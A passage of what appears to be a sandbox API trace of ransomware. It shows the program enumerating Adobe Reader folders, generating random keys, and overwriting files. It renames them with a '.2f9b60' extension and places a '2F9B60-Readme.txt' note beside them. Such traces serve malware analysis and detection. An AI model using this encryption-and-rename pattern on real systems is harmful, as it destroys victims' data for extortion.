"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html")) returned 0x20 [0227.566] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html", dwFileAttributes=0x20) returned 1 [0227.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a40 [0227.568] GetFileSizeEx (in: hFile=0x2a40, lpFileSize=0x2d2afc00 | out: lpFileSize=0x2d2afc00*=53530) returned 1 [0227.568] SetFilePointerEx (in: hFile=0x2a40, liDistanceToMove=0xd116, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.568] ReadFile (in: hFile=0x2a40, lpBuffer=0x2d2afb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d2afbc8, lpOverlapped=0x0 | out: lpBuffer=0x2d2afb80*, lpNumberOfBytesRead=0x2d2afbc8*=0x4, lpOverlapped=0x0) returned 1 [0228.515] SetFilePointerEx (in: hFile=0x2a40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d10 [0228.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5180 [0228.515] NtQuerySystemTime (in: CurrentTime=0x2d2afac0 | out: CurrentTime=0x2d2afac0*=132462178325098000) returned 0x0 [0228.515] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x5ecfec22 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x389738d6 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x58997f70 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x79e0f68a [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x4831a11c [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x7cdb277e [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x3f244ff1 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x43c32194 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x1f63f363 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x62ff0b1d [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x2f14c2e4 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x6d3374c9 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0xba79296 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x2c793b43 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x54af9449 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x4103af85 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x419cf6a6 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0xd36dc [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x4af8e2c9 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x27c36fe1 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x1646ad03 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x46172958 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x76545ad6 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x250d79e9 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x2e7bcd16 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x41cc8b44 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x3b4b9431 [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x11ec60df [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x2375692c [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x70dfd1a [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x4aca15aa [0228.516] RtlRandomEx (in: Seed=0x2d2afab0 | out: Seed=0x2d2afab0) returned 0x10433ef [0228.524] SetFilePointerEx (in: hFile=0x2a40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.524] ReadFile (in: hFile=0x2a40, lpBuffer=0x41cc0d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d2afb20, lpOverlapped=0x0 | out: lpBuffer=0x41cc0d80*, lpNumberOfBytesRead=0x2d2afb20*=0x3c00, lpOverlapped=0x0) returned 1 [0228.880] SetFilePointerEx (in: hFile=0x2a40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61dd0 [0228.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0228.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4090 [0228.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4090) returned 1 [0228.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f6a520 [0228.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4090 [0228.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4120 [0228.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4120) returned 1 [0228.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0228.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61dd0) returned 1 [0228.886] WriteFile (in: hFile=0x2a40, lpBuffer=0x41f6a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d2afb20, lpOverlapped=0x0 | out: lpBuffer=0x41f6a520*, lpNumberOfBytesWritten=0x2d2afb20*=0x3c00, lpOverlapped=0x0) returned 1 [0239.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f6a520) returned 1 [0239.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cc0d80) returned 1 [0239.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313b680 [0239.254] SetFilePointerEx (in: hFile=0x2a40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.254] WriteFile (in: hFile=0x2a40, lpBuffer=0x42c15ef0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d2afbd0, lpOverlapped=0x0 | out: lpBuffer=0x42c15ef0*, lpNumberOfBytesWritten=0x2d2afbd0*=0x10a, lpOverlapped=0x0) returned 1 [0242.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46c0 [0242.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f46c0) returned 1 [0242.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0242.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f46c0 [0242.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4060 [0242.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4060) returned 1 [0242.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad7e0 [0242.091] sprintf (in: _Dest=0x431ad7e0, _Format="%c%c" | out: _Dest="72") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7e2, _Format="%c%c" | out: _Dest="33") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7e4, _Format="%c%c" | out: _Dest="2b") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7e6, _Format="%c%c" | out: _Dest="54") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7e8, _Format="%c%c" | out: _Dest="1b") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7ea, _Format="%c%c" | out: _Dest="65") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7ec, _Format="%c%c" | out: _Dest="8b") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7ee, _Format="%c%c" | out: _Dest="fd") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7f0, _Format="%c%c" | out: _Dest="da") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7f2, _Format="%c%c" | out: _Dest="03") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7f4, _Format="%c%c" | out: _Dest="6c") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7f6, _Format="%c%c" | out: _Dest="59") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7f8, _Format="%c%c" | out: _Dest="77") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7fa, _Format="%c%c" | out: _Dest="be") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7fc, _Format="%c%c" | out: _Dest="30") returned 2 [0242.091] sprintf (in: _Dest=0x431ad7fe, _Format="%c%c" | out: _Dest="9a") returned 2 [0242.091] sprintf (in: _Dest=0x431ad800, _Format="%c%c" | out: _Dest="58") returned 2 [0242.091] sprintf (in: _Dest=0x431ad802, _Format="%c%c" | out: _Dest="72") returned 2 [0242.091] sprintf (in: _Dest=0x431ad804, _Format="%c%c" | out: _Dest="61") returned 2 [0242.091] sprintf (in: _Dest=0x431ad806, _Format="%c%c" | out: _Dest="f5") returned 2 [0242.091] sprintf (in: _Dest=0x431ad808, _Format="%c%c" | out: _Dest="a8") returned 2 [0242.091] sprintf (in: _Dest=0x431ad80a, _Format="%c%c" | out: _Dest="d8") returned 2 [0242.091] sprintf (in: _Dest=0x431ad80c, _Format="%c%c" | out: _Dest="6d") returned 2 [0242.092] sprintf (in: _Dest=0x431ad80e, _Format="%c%c" | out: _Dest="20") returned 2 [0242.092] RtlInitAnsiString (in: DestinationString=0x2d2afc48, SourceString="72332b541b658bfdda036c5977be309a587261f5a8d86d20" | out: DestinationString="72332b541b658bfdda036c5977be309a587261f5a8d86d20") [0242.092] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d2afc18, SourceString="72332b541b658bfdda036c5977be309a587261f5a8d86d20", AllocateDestinationString=1 | out: DestinationString="72332b541b658bfdda036c5977be309a587261f5a8d86d20") returned 0x0 [0242.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x43105520 [0242.092] wcscat (in: _Dest=0x43145380, _Source="72332b541b65" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\72332b541b65") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\72332b541b65" [0242.092] wcscat (in: _Dest=0x43145380, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\72332b541b65.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\72332b541b65.2f9b60" [0242.092] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\72332b541b65.2f9b60", NtPathName=0x2d2afbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\72332b541b65.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205f5d0 [0243.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f5d0) returned 1 [0243.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430907a0) returned 1 [0243.042] NtQueryInformationFile (in: FileHandle=0x2a40, IoStatusBlock=0x2d2afc58, FileInformation=0x2d2afc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d2afc58, FileInformation=0x2d2afc68) returned 0x0 [0243.042] NtSetInformationFile (FileHandle=0x2a40, IoStatusBlock=0x2d2afc58, FileInformation=0x2d2afc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145380) returned 1 [0243.399] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43105520) returned 1 [0243.399] FlushFileBuffers (hFile=0x2a40) returned 1 [0243.405] CloseHandle (hObject=0x2a40) returned 1 [0243.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce16500 [0243.493] wcscpy (in: _Dest=0x1ce16500, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\" [0243.493] wcscat (in: _Dest=0x1ce16500, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\2F9B60-Readme.txt" [0243.493] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\2f9b60-readme.txt")) returned 0x20 [0243.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16500) returned 1 [0243.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318c5c0) returned 1 Thread: id = 3771 os_tid = 0x1c70 [0227.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79df70 [0227.570] wcscpy (in: _Dest=0x1b79df70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" [0227.570] wcscat (in: _Dest=0x1b79df70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" [0227.570] wcscat (in: _Dest=0x1b79df70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*" [0227.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e7b0 [0227.571] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cebe0 [0229.055] wcscmp (_String1=".", _String2=".") returned 0 [0229.055] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.055] wcscmp (_String1="..", _String2=".") returned 1 [0229.055] wcscmp (_String1="..", _String2="..") returned 0 [0229.055] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x2027e7b0 | out: lpFindFileData=0x2027e7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0229.055] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0229.055] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0229.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43107a40 [0229.056] wcscpy (in: _Dest=0x43107a40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" [0229.056] wcscat (in: _Dest=0x43107a40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" [0229.056] wcscat (in: _Dest=0x43107a40, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini" [0229.056] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\eula.ini")) returned 0x20 [0229.086] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", dwFileAttributes=0x20) returned 1 [0229.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2a54 [0229.088] GetFileSizeEx (in: hFile=0x2a54, lpFileSize=0x2218fd00 | out: lpFileSize=0x2218fd00*=472) returned 1 [0229.088] SetFilePointerEx (in: hFile=0x2a54, liDistanceToMove=0x1d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.088] ReadFile (in: hFile=0x2a54, lpBuffer=0x2218fc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2218fcc8, lpOverlapped=0x0 | out: lpBuffer=0x2218fc80*, lpNumberOfBytesRead=0x2218fcc8*=0x4, lpOverlapped=0x0) returned 1 [0229.090] SetFilePointerEx (in: hFile=0x2a54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0c50 [0229.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bf0 [0229.092] NtQuerySystemTime (in: CurrentTime=0x2218fbc0 | out: CurrentTime=0x2218fbc0*=132462178330870000) returned 0x0 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x61ca70d [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x11a635a1 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x2c5036a [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x5affe632 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x2f175cfb [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x27715ee3 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x214c23d7 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x79ab14f9 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x8092e07 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x36113bc8 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x9130978 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0xcaba534 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x69c97033 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x6f5ac344 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x46683deb [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x7c869053 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x52546038 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x344f3f1a [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x32ab4a3b [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x33b2bb57 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x4043d8e0 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x6b1377f5 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x31702f98 [0229.092] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x4b94910a [0229.093] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x62c6238d [0229.093] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x305b7617 [0229.093] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x8abfc1a [0229.093] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x5ca95552 [0229.093] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x464e00ff [0229.093] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x3e3835f6 [0229.093] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x706628c5 [0229.093] RtlRandomEx (in: Seed=0x2218fbb0 | out: Seed=0x2218fbb0) returned 0x6aeec67 [0229.102] ReadFile (in: hFile=0x2a54, lpBuffer=0x20406ac0, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x2218fbb0, lpOverlapped=0x0 | out: lpBuffer=0x20406ac0*, lpNumberOfBytesRead=0x2218fbb0*=0x1d8, lpOverlapped=0x0) returned 1 [0229.103] SetFilePointerEx (in: hFile=0x2a54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.103] WriteFile (in: hFile=0x2a54, lpBuffer=0x2041d320*, nNumberOfBytesToWrite=0x1d8, lpNumberOfBytesWritten=0x2218fbb4, lpOverlapped=0x0 | out: lpBuffer=0x2041d320*, lpNumberOfBytesWritten=0x2218fbb4*=0x1d8, lpOverlapped=0x0) returned 1 [0233.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f32e0 [0233.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f33a0 [0233.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f33a0) returned 1 [0233.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2041d320) returned 1 [0233.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20406ac0) returned 1 [0233.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868e40) returned 1 [0233.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce627d0) returned 1 [0233.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f33a0 [0233.141] SetFilePointerEx (in: hFile=0x2a54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.141] WriteFile (in: hFile=0x2a54, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2218fcd0, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x2218fcd0*=0x102, lpOverlapped=0x0) returned 1 [0235.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a10 [0235.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb25d0 [0235.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb25d0) returned 1 [0235.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0235.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb25d0 [0235.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb25a0 [0235.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb25a0) returned 1 [0235.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0235.395] 